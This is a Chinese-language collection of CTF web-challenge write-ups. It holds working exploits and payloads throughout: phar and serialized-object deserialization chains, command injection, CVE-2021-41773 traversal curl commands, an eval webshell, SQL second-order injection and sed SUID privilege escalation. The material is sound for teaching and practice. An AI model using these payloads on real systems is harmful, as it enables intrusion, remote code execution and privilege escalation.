<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>aa的文件查看器</title>
    <style>
        .search_form{
            width:602px;
            height:42px;
        }

        /*左边输入框设置样式*/
        .input_text{
            width:400px;
            height: 40px;
            border:1px solid green;
            /*清除掉默认的padding*/
            padding:0px;
            /*提示字首行缩进*/
            text-indent: 10px;

            /*去掉蓝色高亮框*/
            outline: none;

            /*用浮动解决内联元素错位及小间距的问题*/
            float:left;
        }

        .input_sub{
            width:100px;
            height: 42px;
            background: green;
            text-align:center;
            /*去掉submit按钮默认边框*/
            border:0px;
            /*改成右浮动也是可以的*/
            float:left;
            color:white;/*搜索的字体颜色为白色*/
            cursor:pointer;/*鼠标变为小手*/
        }

        .file_content{
            width:500px;
            height: 242px;
        }
    </style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
    <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
    <input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
    die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

发现这里读取文件是new了一个aa类,获取文件是new了一个zz类,同时发现里面include了一个class.php

再读取class.php看看

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

那么做法就很明显了,是phar反序列化文件上传,filter里过滤了一些伪协议

出口很明显在xx::__call$name($arg[0]);

链子:aa::__destruct -> zz:__toString -> zz::write -> ff::__get -> xx::__call

这里解释一下触发ff::__get的操作,我们想要触发的是ff类的__get,就需要利用ff类的私有参数content来触发,这里看到write方法,其中的filename我们可以自己控制,但是write方法的参数里还可以触发一个,这样我们只要让filename参数new ff,然后$var赋值content就可以触发ff::__get

所以在zz:__toString这里要post传参method=write,来调用write方法,再post传参让var=content来触发ff::__get

exp:

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name=new zz();
    }
}

class ff{
    private $content;
    public $func="system";

    public function __construct(){
        $this->content=new xx();
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct(){
        $this->filename=new ff();
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name;
        $this->arg;
    }
}

$a=new aa();
@unlink('test.phar');   //删除之前的test.phar文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();//签名自动计算

上传成功后执行payload:

file=phar://upload/4f605c9aae77e1be861cd5fb6c96b578.txt&method=write&var=content&cmd=ls /

image-20231025142114489


[GXYCTF 2019]禁止套娃

git泄露+无参rce

进入题目,dirsearch扫一下目录,发现存在git泄露

直接githacker获取源码

python GitHack.py -u http://node4.anna.nssctf.cn:28023/.git/

得到index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

第一层过滤了伪协议,第二层过滤是无参rce,第三层过滤禁用了一些关键字

payload一把梭了:

highlight_file(next(array_reverse(scandir(current(localeconv())))));

[SWPUCTF 2022 新生赛]funny_web

弱类型

进入题目,是一个登录框,先点击一下登录按钮看看,返回“用户名是实验室名哦~”,也就是NSS

用户名填入NSS,点击登录,返回“听说密码是招新群某位的QQ”,这里是2122693401,也就是谢队的(

成功登录,来到rea11y.php

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}

弱类型比较,直接传入?num=12345a即可


[WUSTCTF 2020]CV Maker

文件上传之文件头绕过

进入题目,注册账号

image-20231101011429502

可以发现存在一个文件上传的点

随便上传个图片马,回显”exif_imagetype not image!”

意思是会检测文件头是否为图片

那我们就加上个GIF89a的魔术文件头传马即可

image-20231101011947371

抓包得到上传文件的路径

image-20231101012007271

命令执行即可,flag在phpinfo里


[NSSRound#7 Team]ec_RCE

命令注入

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?> 

很明显下面的shell_exec存在命令注入,我们只需要在action处加上管道符截断前面的语句,在data处写入我们要执行的命令

本地测试一下几种管道符的作用

pwd;ls
pwd|ls
pwd||ls

image-20231101104432484

那我们在action用;来闭合前面的命令,然后在data命令执行,注:data这里用了引号包裹,我们需要先用引号闭合再执行我们的命令

payload:

action=;&data='cat /flag'

[GFCTF 2021]Baby_Web

CVE-2021-41773+代码审计+无回显rce

这题审了足足两个小时。。。

进入题目,f12发现提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”

查看题目环境版本为Apache/2.4.49 (Unix) PHP/7.3.31-1~deb10u1

很明显存在CVE-2021-41773

尝试读取

curl -v --path-as-is http://node4.anna.nssctf.cn:28681/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

返回403,尝试cgi目录

curl -v --path-as-is http://node4.anna.nssctf.cn:28681/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

image-20231101131256010

成功读取,那么直接读/var/www/xxx.php.txt,注:这里的xxx是要自己猜的

先读index.php.txt

curl -v --path-as-is http://node4.anna.nssctf.cn:28681/cgi-bin/.%2e/.%2e/.%2e/.%2e/var/www/index.php.txt
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>

这里会实例化Temp类对象并向构造方法和display方法传参

同时发现Class.php,读一手

<?php
defined('main') or die("no!!");
class Temp
{
    private $date = ['version' => '1.0', 'img' => 'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data)
    {

        $this->date = array_merge($this->date, $data);
    }
    public function getTempName($template, $dir)
    {
        if ($dir === 'admin') {
            $this->template = str_replace('..', '', './template/admin/' . $template);
            if (!is_file($this->template)) {
                die("no!!");
            }
        } else {
            $this->template = './template/index.html';
        }
    }
    public function display($template, $space = '')
    {

        extract($this->date);
        $this->getTempName($template, $space);
        include($this->template);
    }
    public function listdata($_params)
    {
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list', 'function'])) {
            $params[0] = 'action=' . $params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) {
                $system[$var] = $val;
            } else {
                $param[$var] = $val;
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                } else {
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

先看构造方法

private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
    $this->date = array_merge($this->date,$data);
}

array_merge函数

array_merge($arr1,$arr2)
  1. 合并一个或多个数组,合并后参数2数组的内容附加在参数1之后。
  2. 同时如果参数1、2数组中有相同的字符串键名,则合并后为参数2数组中对应键的值,会发生覆盖。注:即造成变量覆盖
  3. 然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
  4. 如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。

demo:

<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>

输出

Array
(
    [color] => green
    [0] => 2
    [1] => 4
    [2] => a
    [3] => b
    [shape] => trapezoid
    [4] => 4
)

代码审计部分

然后看display方法

public function display($template,$space=''){
        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
}

一眼extract变量覆盖和include文件包含,跟踪到getTempName方法

public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = ('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }

检查传入getTempName()方法的形参$dir值是否为admin,是的话就进行字符串的拼接与替换,然后检查是否为文件

这里的str_replace替换语句明显是过滤了文件包含目录穿越的方法,所以我们还需要寻找别的利用点

注意到这个方法里提到了两个路由,尝试访问一下,其中/template/index.html返回404,/template/admin/成功返回一段php代码,ctrl+u查看一下

<!--<img src="<?php echo $img;?>">-->
<div><?php echo $this->listdata("action=list module=$mod");?><div>
    <h6>version: <?php echo $version;?></h6>

在这里调用了listdata方法,跟踪过去

public function listdata($_params)
{
    $system = [
        'db' => '',
        'app' => '',
        'num' => '',
        'sum' => '',
        'form' => '',
        'page' => '',
        'site' => '',
        'flag' => '',
        'not_flag' => '',
        'show_flag' => '',
        'more' => '',
        'catid' => '',
        'field' => '',
        'order' => '',
        'space' => '',
        'table' => '',
        'table_site' => '',
        'total' => '',
        'join' => '',
        'on' => '',
        'action' => '',
        'return' => '',
        'sbpage' => '',
        'module' => '',
        'urlrule' => '',
        'pagesize' => '',
        'pagefile' => '',
    ];

    $param = $where = [];

    $_params = trim($_params);

    $params = explode(' ', $_params);
    if (in_array($params[0], ['list', 'function'])) {
        $params[0] = 'action=' . $params[0];
    }
    foreach ($params as $t) {
        $var = substr($t, 0, strpos($t, '='));
        $val = substr($t, strpos($t, '=') + 1);
        if (!$var) {
            continue;
        }
        if (isset($system[$var])) {
            $system[$var] = $val;
        } else {
            $param[$var] = $val;
        }
    }
    // action
    switch ($system['action']) {

        case 'function':

            if (!isset($param['name'])) {
                return  'hacker!!';
            } elseif (!function_exists($param['name'])) {
                return 'hacker!!';
            }

            $force = $param['force'];
            if (!$force) {
                $p = [];
                foreach ($param as $var => $t) {
                    if (strpos($var, 'param') === 0) {
                        $n = intval(substr($var, 5));
                        $p[$n] = $t;
                    }
                }
                if ($p) {
                    $rt = call_user_func_array($param['name'], $p);
                } else {
                    $rt = call_user_func($param['name']);
                }
                return $rt;
            } else {
                return null;
            }
        case 'list':
            return json_encode($this->date);
    }
    return null;
}

一眼发现命令执行的函数

if ($p) {
    $rt = call_user_func_array($param['name'], $p);
} else {
    $rt = call_user_func($param['name']);
}

那么我们的目标就是最后触发$rt = call_user_func_array('system', '命令');,即$param['name']=system$p=命令

现在往回推看switch语句

switch ($system['action']) {
    case 'function':
        if (!isset($param['name'])) {
            return  'hacker!!';
        } elseif (!function_exists($param['name'])) {
            return 'hacker!!';
        }
        $force = $param['force'];
        if (!$force) {
            $p = [];
            foreach ($param as $var => $t) {
                if (strpos($var, 'param') === 0) {
                    $n = intval(substr($var, 5));
                    $p[$n] = $t;
                }
            }
            if ($p) {
                $rt = call_user_func_array($param['name'], $p);
            } else {
                $rt = call_user_func($param['name']);
            }
            return $rt;
        } else {
            return null;
        }
    case 'list':
        return json_encode($this->date);
}

我们要让$system['action']为function,而在/template/admin/路由下这个参数传入的已经写死了是list

然后让$param['name']存在且是函数,这个是已经能够满足了的条件

接着是$force$param['force']为false,也就是传入的值要为0或者false

接下来就是重点的foreach语句,首先要求传入的键名中开头必须是param,然后会截取param后面的字符串并用intval取整,把取整后的值作为$p的索引,其值为传入的键值。而要实现$p=命令,我们就需要让$p[0]=命令(下标不一定要为0,只要是正整数即可);要让$n=0,就需要用到intval函数的特性,intval("0xxxxx")==0,所以这里最后要传入param0xxxxx = 命令

switch语句的内容就这些,继续向上看前一段if语句,中间的foreach语句我们用不上

$param = $where = [];
$_params = trim($_params);	//删除两侧多余的空格
$params = explode(' ', $_params);	//以空格分隔成数组
if (in_array($params[0], ['list', 'function'])) {
            $params[0] = 'action=' . $params[0];
        }

如果$params数组第一个元素是'list' 或者'function',就把$params数组第一个元素的内容,前面加上一个字符串action=

所以我们的$params数组中的元素一般应该为$params=["function","name=system","force=false","param0xxxxx=命令"],这里把function放在了第一个元素,当然,我们也可以直接指定$params=["action=function","name=system","force=false","param0xxxxx=命令"],这样子这个数组中function的位置就可以是任意的

但是,我们上面已经分析过,/template/admin/路由下action参数已经写死了是list,我们可控的只有$mod,因为传参一定会带有一个前缀,所以我们无法控制$_params字符串分割成的数组$params的第一个元素是"function",第一个元素只会是action=list。所以,上面的$params数组中的元素只能直接指定为后者$params=["action=function","name=system","force=false","param0xxxxx=命令"]

那么listdata方法的部分就到此为止

要调用listdata方法,我们就需要进入template/admin/这个路由,可以在前面display方法中include($this->template);包含这个路由,即$this->template = template/admin/

而要改变$this->template,我们就需要回到getTempName方法,目的是执行$this->template = str_replace('..','','./template/admin/'.$template);

public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = ('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }

那么就要让getTempName方法的形参$dir = admin,接着是要求拼接后的结果必须是一个文件,template/admin/只是一个路由,我们需要访问默认的页面文件template/admin/index.html,所以传入getTempName方法的形参$template = index.html

但是getTempName($template,$dir)方法的形参来源于display()方法的方法内变量(也可以叫属性)$template$space。而这两个属性在方法内是不存在的,要使这两个属性存在且有我们需要的值,需要执行extract($this->date);语句,从数组中将变量导入到当前的符号表即可

注意,此时我们还没有传入$mod参数的值,而listdata()方法是在display()方法中被包含并且调用的,所以$this->date就应该为['template'=>'index.html','space'=>'admin','mod'=>'0w0 action=function name=system force=false param0xxxxx=命令']

那么构造我们的payload:

在最开始的index.php中,get传入参数filename给构造方法,所以我们可以直接传index.html

先读phpinfo,其实flag也在这里,注:此时调用的是call_user_func

GET 
?filename=index.html
POST
space=admin&mod=0w0 action=function force=0 name=phpinfo

image-20231101172225430

发现禁用了大量命令执行的函数,但是还留了个exec

那么就是无回显rce了,直接写入文件外带,注意命令这里空格要用${IFS}以防被上面的trim和explode操作删掉

GET 
?filename=index.html
POST
space=admin&mod=0w0 action=function force=0 name=exec param0xxx=ls${IFS}/>1

image-20231101172551754


[HZNUCTF 2023 preliminary]ppppop

反序列化

进入题目,啥都没有,在响应头处发现Set-Cookie:user=Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9

base64解码得到O:4:"User":1:{s:7:"isAdmin";b:0;}

尝试把其中的0改成1再base64编码回去传cookie,得到源码

<?php
error_reporting(0);
include('utils.php');

class A {
    public $className;
    public $funcName;
    public $args;

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}

if(checkUser()) {
    highlight_file(__FILE__);
    $payload = strrev(base64_decode($_POST['payload']));
    unserialize($payload);
}

简单的反序列化操作触发__call从而命令执行,然后注意底下传payload要先反转后编码

exp:

<?php
class A {
    public $className="B";
    public $funcName="system";
    public $args="env";

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}
$a=new A();
echo base64_encode(strrev(serialize($a)));

flag在环境变量里


[HZNUCTF 2023 preliminary]guessguessguess

命令执行

image-20231102002437823

给了一个看似是sql注入的框,下面给出了sql语句

SELECT * FROM users WHERE id=

尝试输入hint,发现我们输入的内容会做反转处理

那么输入tnih,回显“可爱的CTFer哟,你掉的是这个金”命令执行”,还是这个银”XSS”还是这个普通的”SQL注入”呢?”

这题最炸裂的地方就是这里不是xss,也不是sql注入,而是命令执行,还是ping的命令注入

payload:

sl|1.0.0.721

index.php

<?php
$userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");

$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
    echo "your SQL: SELECT * FROM users WHERE id=$cmd";
    echo "<br>";
}
if($cmd == "phpinfo") {
    eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
    system('ping '.$cmd);
} else if($cmd == "hint") {
    echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
    if($matches[0] <= 4 && $matches[0] >= 1){
        echo $userArr[$matches[0] - 1];
    } else {
        echo "no user";
    }
}else {
    echo "猜猜猜";
}

flag在环境变量,直接输ofniphp就行了


[湖湘杯 2021 final]Penetratable

二次注入+md5强比较+sed提权

进入题目,有一个登录注册的界面,url带着参数?id,猜测存在sql注入

测试了一下id=1和id=2,分别回显I’m root和I’m admin

先扫一下看看有没有什么信息泄露

image-20231102102402294

几个泄露的路由都看了一下,发现只有static/req.js下存在与登录注册相关的代码,貌似没找到什么有价值的东西

function login(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(0).val()))
    let pass=hex_md5($(".form-floating>input").eq(1).val())
    $.ajax({
        url: '/?c=app&m=login',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass,
        // async:true,
        dataType: 'text',
        success: function(data){
            let res=$.parseJSON(data);
            if (res['login']){
                switch (res['type']){
                    case 'user': location.href="/?c=user"; break;
                    case 'admin': location.href="/?c=admin"; break;
                    case 'root': location.href="/?c=root"; break;
                }
            }else if(res['alertFlag']){
                alert(res['alertData']);
            }
        }
    });
}

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function signOut(){
    $.ajax({
        url: '/?c=app&m=signOut',
        type: 'get',
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}

function alertHandle(data){
    let res=$.parseJSON(data);
    if(res['alertFlag']){
        alert(res['alertData']);
    }
    if(res['location']){
        location.href=res['location'];
    }
}

function changeAdminPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=admin&m=getUserList&page='+(parseInt(page)-1);
    }
}
function changeRootPage(type){
    let page=$('.page').text();
    if (type=='next'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)+1);
    }
    if (type=='last'){
        location.href='?c=root&m=getUserInfo&page='+(parseInt(page)-1);
    }
}

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

function adminHome(){
    location.href='/?c=root'
}

function getUserInfo(){
    location.href='/?c=root&m=getUserInfo'
}

function getLogList(){
    location.href='/?c=root&m=getLogList'
}

function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

function register(){
    let name=encodeURIComponent(Base64.encode($(".form-floating>input").eq(2).val()))
    let pass=hex_md5($(".form-floating>input").eq(3).val())
    let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
    $.ajax({
        url: '/?c=app&m=register',
        type: 'post',
        data: 'name=' + name+'&pass=' + pass +'&saying=' +saying,
        dataType: 'text',
        success: function(data){
            // console.log(data);
            alertHandle(data);
        }
    });

回到登录注册界面,先注册一个账号试试,登录后发现可以修改密码

image-20231102102819245

这个时候就可以猜测能否通过二次注入的方式登录admin或者root账号,然后修改密码

二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入

原理:from https://www.freebuf.com/articles/web/167089.html

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

image-20231102103428476

大概的意思就是我们在注册的时候输入的sql注入语句会被转义,但是因为提供了例如修改密码之类的功能,会取出我们注入的语句,这样如果在存回数据库的时候没有再次转义,那么就会造成sql二次注入

这题就是这样,我们去注册一个用户名为admin"#,密码为1的账号并登录(测试发现是双引号闭合)

image-20231102104312704

成功注入成能修改admin账户的密码

那么修改admin的密码,原密码还是我们admin"#的密码,然后返回,登录admin成功

image-20231102104720593

在admin账户下除了能找到user的信息以外没有其他有价值的东西,应该是要登录root

那么同样的,我们注册一个root"#来修改密码

image-20231102105202487

但是提示我们没有权限,抓包看到这里的参数,猜测和之前看到的req.js源码有关,回去看看相关的源码

function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}
function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}

看上去userUpdateInfo方法只能修改user的密码,而被注释的updatePass方法中url为/?c=admin&m=updatePass,猜测是要用admin账户来修改root的密码

那么抓包访问对应路由进行注入,注:从上面的代码可以知道我们对参数的输入都需要经过base64编码,而且密码还要先经过一次md5加密

可以用一下别人已经写好的脚本,password用的是admin的密码,pass2是你要修改root的密码

import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28937/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123456').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28937?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"yes"})
print(res2.text)

然后成功登录,发现一个能够下载日志的功能

image-20231102111143488

点击下载,抓包发现一个任意文件下载的参数filename

image-20231102111635902

任意文件下载

结合我们前面扫目录扫出来的几个路由,下载phpinfo.php,注意要进行目录穿越

?c=root&m=downloadRequestLog&filename=../../../../var/www/html/phpinfo.php

phpinfo.php

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

是md5强比较,直接爆破解密:https://www.somd5.com/

明文为1q2w3e

然后就拿到shell了

image-20231102112426852

flag在根目录下,但是我们好像读不到,连上蚁剑看看

http://node4.anna.nssctf.cn:28468/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[cmd]);

密码cmd

image-20231102112715279

权限不足,看来需要提权

sed提权

先搜索SUID file

find / -type f -perm /4000 2>/dev/null

解释一下:

  1. 首先在根目录下查找普通文档
  2. 查找系统所有文件中拥有suid特殊权限的文件
  3. 2表示标准错误流
  4. “>”符号称为文件重定向运算符。其目的是将左侧的内容定向到右侧的命令
  5. 将错误信息丢到/dev/null文件中,即不显示目前权限不够的信息

image-20231102112939341

然后翻GTFOBins找对应的提权方法:https://gtfobins.github.io/

测试发现环境中没有sudo,只有sed命令的提权方式能用

读flag即可

sed '' "/flag"